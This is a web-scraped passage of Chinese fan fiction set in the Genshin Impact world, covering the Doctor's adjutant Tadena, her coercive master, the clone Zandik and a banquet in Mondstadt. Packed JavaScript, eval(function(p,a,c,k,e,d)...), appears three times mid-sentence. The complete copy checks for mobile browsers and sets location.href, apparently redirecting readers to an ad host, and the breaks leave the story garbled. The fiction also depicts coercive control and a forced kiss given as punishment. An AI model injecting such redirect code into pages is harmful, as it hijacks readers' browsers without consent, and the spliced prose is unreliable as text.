我咬紧了牙关,像是犯下罪孽的囚犯被判处最终的处罚之前一样坐立难安,等待来自多托雷的最终“判决”。 “这样。”我听到多托雷如此开口,“我似乎没给过你自作主张的权利。解释一下吧,为什么没有事先征求我的同意。” 按照多托雷对我的命令和要求,处于允许范围之内的事情可以完全不过问他的意见,比如实验室的安排等等,这些都在副官的职责具体要求明细里有详细的规定,即使多托雷有自己的偏好和想法,五百年的时间也早已足够我记清楚他的习惯,若有变动,多托雷都是会提前告诉我的。 但在此之外,涉及我的“私人问题”,多托雷会要求我“保持坦诚,不许欺骗”。这一条的宽松程度会随着多托雷在一定时期对我的态度和纵容程度产生变化。最宽松的时候,我甚至可以在完成多托雷的命令和实验室的事务后,自主规划空闲时间,无需事事都像多托雷汇报。 但很显然,最近的多托雷对我的要求收紧了很多。 我喉咙耸动,交叠的双手紧张到扣挖起来。 “抱歉,主人,我忘了要事先征求您的同意就擅自答应了【公子】大人的邀请。” “我想听的解释不是这个。塔德纳,不要试图在我这里蒙混过关。” 我抿了抿唇,手心全是汗,指甲陷进肉里也感受不到。 “是,是因为【公子】大人家人的邀请,我不想拒绝,因为,因为……” “因为什么?”多托雷伸出脚在我的腰侧踢了一下,“我现在对你的耐心有限,塔德纳,不要继续含糊其辞。” 我闭了闭眼,从进门开始跪在脚边的压力至此几乎要完全压垮我,让我近乎崩溃。 “因为我想去,不提前告诉主人是因为害怕被主人拒绝。”我几乎要撑不起自己的腰背,“呜……对不起,对不起,主人,我再也不敢了……” 眼泪控制不住地盈满整个眼眶,涨得酸胀难受,莫名的负罪感压在我的心头,让我的心脏一抽一抽地疼,像是在惩罚我“违背命令”一样。 我听到一声很轻的叹气,紧接着下颌被捏着抬起,多托雷用手掌抚摸着我的侧脸,手指抹去眼角的泪水。 “只是让你长个记性而已,怎么哭得这么狠。”此刻的男人仿佛又回到了之前那副温柔的样子,似乎因为Theta对我这段时间的冷酷和严苛全部都消失不见。 多托雷像是无奈:“我从没有禁止过你与其他人的交际不是吗?你并没有必要在这种事情上对我有所隐瞒。” 确实…… 除了私自陪Alpha放烟花结果导致Alpha被远派须弥,无视“要和切片保持距离”的命令和Theta纠缠还忘记了自己的任务被狠狠惩罚了一顿,除切片之外,多托雷并未约束过我的人际交往。 甚至就算是算上来渊源颇深的斯卡拉姆奇,多托雷也放任了我和他的一切交际,并不干涉或是禁止。 虽然斯卡拉姆奇单方面对我很冷淡,哪哪都看不顺眼以至于有往厌恶的方向发展的趋势。 当然,这或许也只是我的个人错觉加深后的印象,毕竟从其他愚人众那里的评价来看,斯卡拉姆奇是平等地讨厌所有人,多托雷在所有被讨厌的人里面位居第一,一骑绝尘。 所以……是我错了…… 吗? 我呆呆地看着多托雷,眼角的泪水虽然被多托雷拭去,但眼球上堆积的泪水还是将视线遮挡得完完全全,连这么近的距离看多托雷也看不太清楚。 多托雷伸手将我的手腕拉起来,手掌覆着我的手背,将纠缠的双手分开。 干燥微凉的指间轻抚着掐出来的凹陷。 多托雷问我:“玩得开心吗今天?” 凹陷被抚摸后我才后知后觉地感觉到疼痛,我直视着多托雷猩红色的双眼,那双眼睛也注视着我。 “开心……” “开心就好。塔德纳,我不会干涉你和其他人在一起,只是希望你能够对我坦诚。限制你和切片的往来只是因为切片的不稳定性太多,担心你被牵连受到伤害。” “是……这样吗?” 我有些晕乎乎的。 多托雷抚摸我的脖颈:“Omega切片对你的毁灭欲已经到了我不能完全控制的地步,他是我全盛时期的切片,对你动手轻而易举,而Beta切片对你的态度也一直偏向暴力。塔德纳,切片是我的‘视角’,也是不完全可控的可能与个体,我无法完全保证你在他们手底下的安全性,所以才会让你这段时间尽量远离他们。” “原来是……这样……” 脑海里似乎出现了什么声音,但我此刻已经完全注意不到了,耳边唯余多托雷的话语。 我抓住多托雷手臂上的布料,由衷地道歉:“对不起,主人,是我做了错事,我不该因为随意揣测您会‘拒绝我的请求’而故意隐瞒这件事情不告诉您。” 多托雷的指间落在我的耳垂上,拨动那里的耳饰。 他叹气:“塔德纳,你有点让我伤心了。你害怕我,也不信任我,对吗?” “不……” 我下意识地拒绝。 脑海里飞快地闪过许多记忆,在监狱的一切,从监狱出来后再次成为副官,和各个切片的纠缠推诿,以及,慢慢变得对我温柔宽容的多托雷。 更远的……记忆?或许是记忆吧。 残存的教令院建筑,遇到的被众人排斥的少年,少年和我一起,在教令院,在被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我对此接受良好,一是这种情况对我而言是家常便饭,我是多托雷几百年来唯一的副官,几乎所有人都知道我的身份特殊,虽然因为多托雷做的那些坏事替他挨了很多骂,但也会因为多托雷被更恭敬地对待。第二则是—— 有好房间不住实在是脑子有坑。 我决计不是脑子有坑的人,物理和比喻意上皆是如此。所以拿到钥匙之后就心安理得地住进了执行官才能使用的房间里并一觉睡到了半夜。 等醒来的时候,船已经行驶了很久,广阔的海面仅有船上唯一的光源,显得孤独且阴森。 我打开门,准备在外面逛逛,遇到的巡逻的愚人众士兵向我行礼。 “副官大人。” 我摆了摆手,刚起床尚还停留在睡意里的身体提不起力气用更亲和的态度对待这些士兵。 等到了甲板的时候,我才发现半夜不待在房间起来吹冷风的人竟然不只有我一个,我走近,有些迟钝的大脑反应着,莫名觉得那背对我靠着栏杆的身影有些眼熟。 脚步印在甲板上的声音有些大声,前面的人转过了身。 那熟悉的猩红色眼睛透过怪异的面具看我。 “是你?” 赞迪克咧嘴一笑:“上船的时候一直没看见你,还以为‘本体’要毁约。我可是连回去质问‘本体’的话都想好了。” 我停下脚步,在离Beta有相当一段距离的地方微微弯腰行礼。 “主人说过,这一次我会跟随使团一起在蒙德行动。当然,如果Beta大人届时有任何要求的话,在主人允许的情况下,我都会完成的。” “这可不是我的要求。” “可是,据我从主人那里得到的内容,您提出的只是‘要求我与您一起前往蒙德一次’,不是吗?” 赞迪克:“……” 半晌,他冷笑一声:“看来‘本体’真是把你训好了,张嘴闭嘴都是他,真是条忠诚的好狗。” 84.第 84 章 北境的明冠,蒙德城,风的国度,风之神巴巴托斯管理下的国度。但那位神明,据说已经几百年未曾出现过了,现在的蒙德是由西风骑士团管辖的。 千年前由传奇的师牙骑士温妮莎推翻旧贵族劳伦斯的残暴统治后,建立的西风骑士团,蒙德四风守护的西风之鹰。 我跟在使团中间进入蒙德城,看着已经渐渐摆放出羽球节装饰的街道,想起为数不多来过蒙德的经历,顿时感到有些怀念。 以前同多托雷途径蒙德的时候,恰好也是羽球节的时节,只可惜任务繁重,没有机会体验。 “欢迎各位至冬的贵宾来到自由与诗歌的城邦——蒙德,西风骑士团将会安排好各位在蒙德时的衣食住行,满足贵宾的要求。现在,请诸位同我一道前往歌德大酒店稍事休整。” 西风骑士团的接待人员正在同使团的负责人说着什么,过了一会儿,负责人走过来,小心翼翼地看了我一眼。 “副官大人,这里最好的房间是顶层的贵宾房,您看一下,这样的安排……” 负责人将手里的文件毕恭毕敬地递给我,还没等我接过来,一只手就先我一步将那份文件拿走。 我皱眉,余光看到靠近的赞迪克。 “【博士】大人。” 赞迪克扫视了一眼上面的内容,对负责人道:“不用分开安排,塔德纳和我住一起。” 负责人:“啊?!” 我忍不住开口:“大人,做决定之前至少要问一下当事人的意愿吧?” “哦?你不愿意和我一起住?” “当然不愿意。” “可你和‘本体’在一起的时候,一直是住在一起,不是吗?” “那您也该知道,您和主人是不一样的。”我从赞迪克手里抢过那份文件,对折两次之后扔给旁边吓得缩成鹌鹑的负责人。 “就按这个上面的安排来吧。对了,给我换一间房,我想要顶层最靠边的房间。” 负责人战战兢兢地回答:“可是,副官大人,贵宾房只剩下这两间挨着的房间了。一间留给【博士】大人,您如果需要调整的话,可能要换到不是贵宾房的房间。” 我:“……” 我:“好吧,相邻就相邻吧。” 只要不是和赞迪克住在一起。 负责人看了一眼赞迪克,见赞迪克只是脸色有点难看,并没有出声阻止后才拿着手里被折成小方块的文件去和骑士团的接待员对接安排了。 赞迪克似乎并没有因为我的不敬而生气,但是身边的气压相当沉重。他看向我。 “你之前对我可不是这个态度,塔德纳。怎么,没有管理权后,连最基本的尊重都做不到吗?” 我露出一个笑容:“我只会遵守主人的命令,唯有这一点毋庸置疑。不是吗,Beta大人?” 我刻意加重了“Beta”这个代号的读音。 赞迪克冷哼一声。 “真该让‘本体’看看你现在这个样子。你对‘我们’(切片)缺乏基本的尊敬这件事,无论是被你玩弄的Alpha,还是被你报废过的Theta和Omega。你对‘本体’的敬畏和臣服,又真的完全可信吗?你猜,‘本体’会怎么看这件事?” “我听不懂您在说什么。”我迎上那猩红色的视线。 “而且,我也已经说过了,‘您和主人是不一样的’。” “呵。” 赞迪克发出一声冷笑,不再与我对峙,转身离开了。 我看到另一边有使团的职员给赞迪克身边那个叫“克洛伯”的下属说了什么,克洛伯很生气,似乎是在埋怨为什么自己分到的房间只是普通的套房,被派过去的小职员只能陪笑解释酒店房源紧张。 克洛伯又说了什么,在得到小职员的回答后眼神不善地朝我的方向杀过来。 我猜他刚才应该是在问赞迪克的房间以及同一层的空房间安排给了谁。 被迫住在赞迪克隔壁的心情稍微平霁,我笑着朝克洛伯挥了挥手。 克洛伯像是生气的野猪一样跳起来。 “副官大人,您现在需要去休息吗?我可以找人带您去房间。”负责人找上我。 我收回视线:“这样的话,实在是太感谢了,负责人先生。麻烦你了。” “哪里的话。”负责人擦了擦额头的虚汗,“是我要麻烦副官大人您才对,【博士】大人那边的事,还需要您多费心。您也知道,那位大人一向……” 负责人卡了壳,像是一下子找不出来合适的词形容一样。 我笑着接了一句:“喜怒无常,性情不定,对吧?” “哎哟,这话,这话可不是我说的。”负责人汗冒得更多了,擦汗的手帕都湿了一块,显出深色。“总之,副官大人,您是那位大人最信任的副官,除了您,我可真找不到其他人能够治……不,是讨那位大人欢心了。” 他是想说“治得住”吗? 我感到有些好笑。我治【博士】?真的假的? “这一位,找我可能不太行。”我朝克洛伯的方向指了指,“你得找那位呢。喏,在那边,最夸张的那个,看到了吗?” “您可别跟我开玩笑了。”负责人只当我是在说笑。 赞迪克身边的人换得最勤,死得也最惨。克洛伯虽然也算得上是安安稳稳当了一段时间赞迪克最好用的下属,但从实验失败之后,克洛伯“失宠”的消息也就逐渐传开,再加上克洛伯平时行事嚣张跋扈,看不惯他的人海了去了,也难怪虎落平阳,连一个出行使团的临时负责人也敢看不起他。 我笑了笑,不置可否。 “对了,副官大人。”负责人突然拿出一封信函递给我,“莱艮芬德家族的那位老爷送来了邀请函,明晚在晨曦酒庄将会有一场晚宴,届时还望您与【博士】大人一同出席。” “莱艮芬德?我记得莱艮芬德老爷几年前发生意外去世了才对。”我问道。 “没错。不过这一位莱艮芬德老爷,是新继承家产的,莱艮芬德家族的独子,迪卢克·莱艮芬德老爷。因为一些不知明的原因,直到几年后才继承了酒庄,展现出经商的天赋来……” 负责人还在说着什么,我的思绪却一下子飘远,“迪卢克·莱艮芬德”的名字一下子把我扯到几年前的事件,与Omega纠缠不清的伊始,以及…… 我接过邀请函。 “我知道了。这件事,我会告诉大人的。” 负责人松了口气:“太好了,我就知道您一定会同意的。” 应付结束负责人,我拿着房间钥匙乘坐升降梯到了酒店顶层,沿着走廊走了两步,往里的方向,第一间房是赞迪克的,而旁边的第二间房是我的。 我插上钥匙,金属咬合发出细微的“咔塔”声。 旁边的门被打开,赞迪克沉着脸看我。 “又见面了大人,希望我开门的声音没有吵到您。”我轻笑,然后将刚才负责人给我的信函交给赞迪克。 赞迪克接过去,然后才问道:“这是什么?” “晨曦酒庄的晚会邀请函,时间在明晚,您或许应该去一下。” 赞迪克抽出信封一半的手停下来,听我说完后将那封信又塞回去。 他看我:“你也去?” …… 这家伙,是在询问我的意见? 我稍微感到有些不可思议,但面上的表情还是维持笑容。 “您是希望我一起呢?还是不希望呢?”我摆了摆手,“毕竟,我刚才好像惹您生了气,如果您不希望我陪同您一起去的话,当然,我也可以……” 声音被一下子掐断,在我还没反应过来的时候,赞迪克朝我靠近一步,一把拽着我的衣领把我拖过去,压进他的房间。门被用力关上发出巨大的声响,赞迪克将我掼在房门上。 猩红色的眼睛像是毒蛇一样咬着我。 “不要用对待Alpha的态度对待我,塔德纳。”赞迪克咬牙警告我。 在知道赞迪克根本不能违背多托雷的命令伤害我后,连这样的威胁也显得没那么让人可怕了。 我仰高脖子让自己的呼吸稍微顺畅,一手掐着赞迪克抓我的手的手腕。 “我听不懂您在说什么,Beta大人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我挣扎起来,手腕却被赞迪克伸手抓在一起压制住,连腿也被赞迪克用膝盖顶在门上。 口腔被用力地撑开,连吞咽口水的空间都没有,只能任由津液从嘴角滑落,喉咙的软腭被□□的时候难受地流出眼泪。 赞迪克几乎毫无怜惜之情,也没有手下留情的意思,他的亲吻不像是出于情欲,单只是一遍又一遍侵入最脆弱最难受的地方,激得我喉咙耸动一阵阵反呕才好。 赞迪克咬着我的嘴唇,将两片唇瓣含进嘴里又咬又磨,直到那里变得红肿不堪。 “对你之前僭越的一点惩罚。即使不伤害你,我也有很多方法让你知错,不要试图再激怒我。” “呜……”我发出一声呜咽,整个身子都丧失了力气。 “是,Beta大人。” 被Beta放出门的时候,我手脚还软得走不了路,只能狼狈地扶着墙壁回隔壁,喉咙深处被舔地火辣辣的疼,稍微吞咽都能感受到最深处肿胀起来的软肉抵住气管。 打开门后走进去的第一时间把门反锁住,我用杯子接了一杯可饮用水源给自己灌下才感觉稍微好了一点。 将自己扔到床上,看着天花板,思绪难得有些静不下来。 Beta切片此行的目的是我——这一点可以确认,同时我推测,Beta所要做的事可能还与多托雷相关。 同时牵涉到Beta,多托雷和我的事情…… 我想起上次Beta陷入疯狂要让我“恢复记忆”的事情。 和那件事有关? 也不是没有可能,毕竟那件事情虎头蛇尾,完全没有解决清楚。多托雷答应Beta让我一同前往蒙德大概也是那件事情的缘由。 被遗忘的记忆,Beta切片的计划,这其中,究竟有什么关系呢? 我伸手握上耳垂的试管耳饰,冰冷的试管液将燥热的掌心稍稍降温。 趁着这点来之不易的凉意,我感到困意,不由得闭上眼睛陷入睡眠。 85.第 85 章 晨曦酒庄,莱艮芬德家族的产业,是一座相当气派的建筑。我跟在赞迪克身后,而另一边,克洛伯走在赞迪克身边,向赞迪克极力介绍讨好。 “主人,您放心吧,有您在这里,蒙德不敢不乖乖答应我们的征收要求。有了足够的优秀素体,之前的实验就能够继续下去。请您相信我,只要再给我一点时间,实验一定能……” “够了,克洛伯,我现在没心情听你讲这些,能先把嘴闭上吗?” “是……” 我在后半步的距离听着。 克洛伯一向对我犹视仇敌,所以在我也在场的时候,会拼尽全力地吸引赞迪克的注意力,大概在他的心里,我是时刻会抢走他在赞迪克那里“特殊地位”的敌人。 不过这样的想法简直荒谬可笑,我巴不得克洛伯吸引完所有赞迪克的注意,好别让赞迪克注意到我才对。 要不然,我也没必要被目的不明的赞迪克拉来蒙德。 向宴会的侍者出示邀请函后,我和赞迪克,以及赞迪克身边的克洛伯被一同引至了宴会厅内,金碧辉煌的宴会大厅,汇集无数的贵族和要人,我们进去的时候,正是东道主出场致辞的时候。 红发的青年从楼梯上走下,几年过去,那位曾经在至冬掀起过不小的闹剧的“凶犯”,如今已成为了能够独当一面的家主,通身的气派都沉淀了许多。 “各位客人们,朋友们,欢迎来到我的宴会。本人迪卢克·莱艮芬德,莱艮芬德家族的新一任家主。为了庆祝今天来之不易的相聚,我特意准备了先父珍藏二十九年的美酒。在场的诸位,无论是尊贵优雅的贵宾,或是勤奋勇勉的西风骑士,希望大家都能够享受到一个美好的夜晚。” 我看到克洛伯在听到“美酒”两个字的时候表情微微变动,但迫于身边赞迪克的压力并未过多表现出来。在宴会其乐融融的氛围里,克洛伯向身边的赞迪克弯腰请意,得到赞迪克的首肯后才站出来。 “真是许久不见啊,迪卢克少爷。您所举办的宴会确实十分完美出色。” 众人纷纷将目光投向这边,密密麻麻,顷刻将中间的我们三人围堵住。 我忍不住后退半步,低着头,任由垂下来的发丝将自己的脸遮住一半。 赞迪克开口:“我有事要和你们的主教相谈,让他来见我。” 语气相当狂妄。 迪卢克的视线落过来,我能察觉到那视线在我的身上扫过一遍,掠过克洛伯,最终落到赞迪克身上。 “哦?这位尊贵的客人是?” 克洛伯笑出来,带着明显的轻慢:“让我来为你介绍吧,年轻的少爷。站在你们面前的这位,便是我尊贵的主人,全大陆的守护者——愚人众执行官第二席,镇压魔龙乌萨之人,【博士】。替蒙德解决了棘手的灾难的贵人莅临,还不快让你们的主教出来迎接?” 迪卢克的眼神明显变得不善起来,可惜沉浸于侃侃而谈介绍自己主人的克洛伯如何能注意到? 在“愚人众”三个字出现的时候,附近,不,应该是所有人看过来的视线都变得奇怪,夹杂着恐惧和愤怒。 蒙德的风之神常年不在其位,西风骑士团的大队长法尔伽出征时带走了大部分的兵力,以至于蒙德城现在的实力有限,根本无法抵抗愚人众的无理要求,常年的资源征收和外交上的压迫使得蒙德人对愚人众的感官相当差。 另一边,一道男声传来,那是一位身着主教长袍的男子。 “不必劳烦庄主了。克洛伯先生,以及这位尊贵的【博士】先生,本人便是你们要找的主教,请称呼我为‘西蒙’就好。” 迪卢克朝西蒙的方向点了点头:“主教。” 西蒙也点头作为回应,与迪卢克短暂地打过招呼,他向赞迪克的方向道。 “能让尊贵无比的执行官劳动尊驾的事宜,想必是非常重要的事情吧。既然如此,不如我们换一个地方商谈,毕竟宴会厅并不算得上是一个合适的地方。” 迪卢克适时出声:“我可以为诸位安排一个议事间供诸位相谈要事。不过有个小小的请求,希望诸位能允许我一同参加。” “自然,这并不是什么难事,莱艮芬德的少爷。” “如此,就请各位随我一同往这边来吧。” 被“万众瞩目”的特殊体验总算是可以结束了。 我在心中松了口气,在迪卢克引着众人前往议事间的时候坠在后面跟上,兢兢业业地扮演一位说不上话的,地位低微的普通下属。 到了晨曦庄园的议事厅,迪卢克打开门,为赞迪克引路。 “请坐在这里吧,尊贵的客人们。” 对面蒙德的一方暂时还无人坐下,在刚才西蒙说过还需要稍等一会儿容他做一下准备再开始议事,虽然被克洛伯阴阳怪气了一句“难不成你们就要让我最尊敬的主人在此等候你们吗”,但经由迪卢克从中斡旋了两句,最终还是达成了再等五分钟的决定。 赞迪克坐在左侧最上首的位置,双手抱臂,似乎没有要说话的意思。 克洛伯是这次商谈的主要人,自然坐在了赞迪克旁边的位置。 我看了一圈议事厅的布置,最终决定勉强坐在克洛伯再下一位的位置上。 如果可以的话,我其实并不想靠近克洛伯坐着,但是间隔一位坐下的话恐怕会被蒙德方拿住手柄,不利于之后商谈的优势。 在我拉开椅子坐下的时候,赞迪克的视线突兀地刺了过来。 他皱眉:“塔德纳,你坐的那么远干什么?” 随着他的声音,在场所有人的眼睛都朝我盯过来。 我:“……”最讨厌像这样别这么多人盯着了。 我平整了一下思绪:“大人,这已经是离得最近的座位了。” “啧。”赞迪克不满地对克洛伯下命令,“你,和他换个位置。” 克洛伯:“主人?!” 我:“……” 我突然很想就这样一直沉默下去,但克洛伯转过来对我的怒目而视实在难以忽视,来自西蒙主教和迪卢克带着惊讶的打量的眼光也让我坐立难安。 我试图阻止:“大人,这件事不太合适。毕竟克洛伯负责这次的商谈,按照一般的规矩来说,确实应该让克洛伯坐在与您更近的位置。” 克洛伯的脸上露出一个“算你识相”的表情。 赞迪克脸色有点臭,但最终还是没再说什么,默认了这样的安排。 在这边的小插曲结束的时候,另一边,西蒙主教也等来了他所谓的“准备”。 我看到一名黑皮,右眼蒙着黑色眼罩的青年走来,与西蒙相谈了两句。黑皮青年向迪卢克露出一个笑容打招呼,但被后者忽视过去。 等到双方都落座到应有的位置上后,我才看到坐在斜右前方的那位新出现的青年仅露出的一只眼睛的瞳孔是奇异的十字。 我稍微愣了一下。 这样的眼睛,我似乎曾在某处见过…… 对面的青年似乎注意到了我的目光,偏过头来朝我微笑。 “哎呀,虽然听西蒙主教介绍了另外两位尊贵的客人,但这一位,貌似还没有介绍过呢,请问您是?” 好敏锐…… 我站起来,顶着有些让人不适的集中打量的视线开口。 “只是【博士】大人身边的一介下属而已,请称呼我为‘塔德纳’就好。” 赞迪克在旁边冷不丁地开口:“塔德纳是我的副官。” 青年露出一个有些夸张的惊讶的表情。 “原来是尊贵的副官先生。失敬失敬,西风骑士团,凯亚,如今担任庶务长的职位,希望来自至冬的贵客们不会介意我加入到这场商谈。” 我只能微笑一下,然后坐回去。 克洛伯开口:“自然。那我便免去多余的废话,单刀直入吧。我们需要一些人手来扩充队伍,想必各位都明白,愚人众一直致力于守护大陆,加入愚人众可是无上荣光。” “我有问题。”凯亚询问,“冰之神治下的至冬应该不缺乏才华出众的年轻人吧,愚人众为何要千里迢迢赶到蒙德来征募人才呢?” “你是在质疑我们来访蒙德的诚意吗?” “当然不,只是,蒙德城本来就人力有限,骑士团也面临着人手不足的问题,而城中适龄的青年大都才能平庸,恐怕不具备进入愚人众的资质。” “这一点并不要紧,同为七神的子民,蒙德人也很有潜力,从城内挑选合适的青年,经过一定时间的训练培养,肯定也能够在愚人众大放光彩。” 凯亚脸上的笑意稍微淡去。 “那么,这是否意味着愚人众在蒙德的征募计划是完全强制性的?” 克洛伯皮笑肉不笑地回应:“哎呀呀,我可没这么说,你确定要这样揣测替蒙德解决过魔龙乌萨问题的愚人众吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151389|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气氛变得紧张。 两人对峙着,几秒后,凯亚主动收声,脸上也恢复了刚进来时友好的笑容。 凯亚:“我没问题了。主教怎么看?” 西蒙主教紧张地推了推眼镜。 “此事绝非儿戏,我恐怕不得不先上报给团长,让团长做出决定。” 克洛伯进一步逼迫:“恐怕我的主人需要更快的答复,各位。” 西蒙主教汗越出越多,甚至连镜片上也染上一层淡淡的白雾。 “这……” 迪卢克突然站起来,一手撑着会议桌侧身挡住赞迪克的视线。 这位新任的酒庄管理者用带有一丝强制意味的语气提议道。 “我有一个提议。既然无法现在做出决定,不如我们先回宴会,等酒过三巡,再来商议?” 赞迪克气压低沉:“啧,随便了。反正你和你的酒,都无聊透顶。” 迪卢克:“那还真是招待不周。” 总之,商谈以“不欢而散”的结局告终。 蒙德方死活不松口,愚人众倒也真不能强迫蒙德交出城内的适龄青年,毕竟各层都在看着实验室的动静,素体征收只能借由“征兵”的由头将其正义化,绝对不能抹黑愚人众的形象。 毕竟,愚人众在蒙德打的招牌可是“大陆的守护者”。 想起方才会议间克洛伯一脸傲慢说出这句话的一瞬间,我忍不住感到有些想笑。 愚人众的存在固然是为了冰之女皇的最终目标,但在那之下,实验室,或者说【博士】这一存在做的那些事,又有哪一点能和“守护者”三个字扯上半点关系的? 也难为克洛伯能这样睁眼说瞎话还振振有词了。赞迪克身边目前上位最快,活得最久的下属名不虚传。 只不过,这位勉强也是在赞迪克那一长串要用“死亡名单”命名的下属名单值得用红色笔记着重标出的人物,如今也需要匆忙地为自己的“失利”向赞迪克做出解释。 “主人……主人,还请不要心急。我保证,下次会议一定能逼迫那些人松口,蒙德没办法拒绝我们的要求。请您再给我一点时间……” “我不关心这个。克洛伯,我只看结果。随便你需要多久的时间,但我没有那么多时间因为你浪费。不要耽误我的时间!” 克洛伯害怕地回了一声“是”。 赞迪克因为不想看见克洛伯,对宴会厅的一切也兴致缺缺,看样子是准备找一个安静的地方等到一切结束。 离开前赞迪克说了一句:“不要跟着我。” 克洛伯停下脚步,汗津津地喘着粗气。 赞迪克的命令很明显是对克洛伯说的,我没问是不是我也要“别跟着他”,默认了那句话同样也是对我的命令,然后找了个离克洛伯远一点的地方待着。 但是,或许是看见我是跟着愚人众的人,那些客人看见我都跟见了老鼠一样避之不及,我所到之处,所有人都会自动隔离我至少五米远的距离。 像一个圈一样。 我叹了口气,看见不远处的克洛伯也是被如此对待,心里稍微好了一点。 我不想被其他人用如此明显夸张的嫌弃的态度对待,纠结了一下最终还是选择和克洛伯的位置靠近一点。 克洛伯似乎对宴会的美酒很感兴趣,正伸手去拿,看见我,眼神很是警惕。 “你来干什么?”他问我。 我摆了摆手:“你不必对我如此警备,克洛伯。在这里,我们是同一条船上的人,想必大人也不会想看到我们起内讧才对。” 搬出赞迪克后克洛伯的表情虽然依旧对我戒备,但至少没再与我作对。 在克洛伯的身后,熟悉的声音传来。 “哟,两位。” 克洛伯惊了一下,手里的酒杯差点洒了出来。 “谁?!” “是我,骑士团的凯亚。刚才在会上多有得罪了。” 青年脸上的笑容亲近温和,像是真的对待朋友一样让人感到无限的坦诚。 “我是来和两位谈谈贵方的条件的,不知道两位现在是否有空闲的时间。” 青年的动作与表情如此和善,但我只从中感受到一点被针对算计的冷意。 是那类人吧。 那种表面哥俩好,背地里却不知道在算计什么的人设。 我感到有些窒息,莫名想到至冬的那位【富人】大人。 86.第 86 章 克洛伯:“你想说什么?” 凯亚拍了拍克洛伯的肩膀,拉近两个人之间的距离。 “哎呀哎呀,不要这么紧绷嘛。主教其实也是准备答应贵方的条件的,但还在犹豫,我这不是来促进两边的合作达成吗?” “来来来,先尝尝这杯酒。”凯亚伸手扶着克洛伯的手推进那杯酒,“这可是晨曦酒庄最好的一批酒了,拒不外售的那种。想在其他地方喝到可没办法。” 克洛伯的神色松动,显然对美酒很感兴趣。 他喝了一口,脸上露出神往的表情:“不错,果然不愧是珍藏二十九年的美酒。” 凯亚笑眯眯地递给我一杯:“这位,副官先生,不准备来一杯吗?” 如同鲜血一般盛盈在杯中的酒液随着动作轻轻晃动,即使隔着一段距离,浓烈的酒味混合着葡萄的香气也直往鼻孔里钻。 我摆手拒绝:“不用了,我酒精过敏。” 凯亚有些惊讶地挑眉:“是吗?那实在是太可惜了。” 克洛伯在一旁忍不住嗤笑了一声。 “装模做样的家伙。” 我保持微笑,多了一丝警告的意味:“我想大人说过吧,克洛伯,你对我的态度问题。还是说,你更希望我现在把大人叫过来评判一下我们之间的问题?” 克洛伯多了几分心虚。 “哎呀,两位贵宾不要伤了彼此之间的和气才好,同样都是【博士】先生的得力干将,当然要齐心协力。”凯亚状似好意地出声劝阻。 可惜只引来了克洛伯对我的愤怒更甚。 我忍不住呵呵笑了两声。 凯亚这个人精,明褒暗贬,一句话直接把克洛伯对我的怒气值拉满了。 “还是说说您的目的吧,庶务长大人。”我选择直接转移话题。 “哦,对了。”凯亚像是经过我的提醒才想起来一般,“瞧我这记性,和两位聊得太投入,竟然把这件事情给忘了。关于贵方的那些条件,我说过,主教也是想答应的,不过,我个人的想法是,适当的退让能让合作更快被达成。比如,稍微放宽一点条件。” 克洛伯为难道:“放宽条件?这样的要求我怎么能随意答应?” “当然当然,这并不是空口而来的提议。想要促进此事的那位已经准备了足够表达诚意的薄礼送给二位,还希望两位能在【博士】先生身边美言。” 凯亚暧昧的眼神落到酒杯上。 克洛伯呆愣了一下,神色间多了几分贪婪:“哦?如果是这样的话,我也不是不可以……” 凯亚脸上的笑容更甚。他看向我,那唯一一只露出来的十字星眼便也望向我。 “副官先生觉得呢?” 无聊而常见的贿赂…… 我抱着手臂,看着已经沦陷在“薄礼”之中的克洛伯,即使猜测到这份所谓的“薄礼”绝不会想表面上的那样简单,也实在提不起兴趣提醒克洛伯。 而且,要是阻止他的话肯定会被当成嫉妒他故意坏他好事吧? 我没有那种上赶着吃力不讨好的癖好。 于是我顿了顿。 “您的眼睛很特别。”我笑道,带着些许夸赞。 凯亚愣了一下:“嗯?” “不过我对这些不感兴趣,恐怕要辜负您的一番好意了。但我只是一个没有实权的随行人员而已,想必,有克洛伯在就足够了。” 看着克洛伯露出的稍微倨傲的表情,我有意抬举了几句。 “毕竟,这位克洛伯先生,可是当下【博士】大人身边最受重用的大人物。有他在,一切都可迎刃而解。” 克洛伯脸上的傲慢更甚。 他洋洋得意地看向我:“塔德纳,没想到你还是能说出一点勉强讨人喜欢的话的啊。” 我微笑不语,目送克洛伯傻乐着跟着凯亚离开,心中不由得感叹赞迪克身边的人竟然如此短视愚昧。 那么,接下来—— 我看了一眼附近的宾客,决定先离开宴会厅出去透透气。 这里的空气都快被酒香浸透了,不愧是掌握了蒙德酒业半数之多的莱艮芬德家族举办的宴会。 不过我想要忙里偷闲在外面透个气的想法很显然有些难以实现。在走出宴会厅的时候,我看到赞迪克的身影正朝着我的方向走来。 看见我,赞迪克停下脚步。 他朝我身后看了一眼:“克洛伯呢?”他问。 我稍稍弯腰回答:“方才那位西风骑士团的凯亚先生来找克洛伯谈话,克洛伯跟着去了。” “谈话?克洛伯没有把这件事告诉我。” “或许,是有什么必须要避开您的理由呢?” 赞迪克:“……” 赞迪克阴郁的目光从我身上舔过,像冰冷的蟒蛇一般缠绕缩紧。 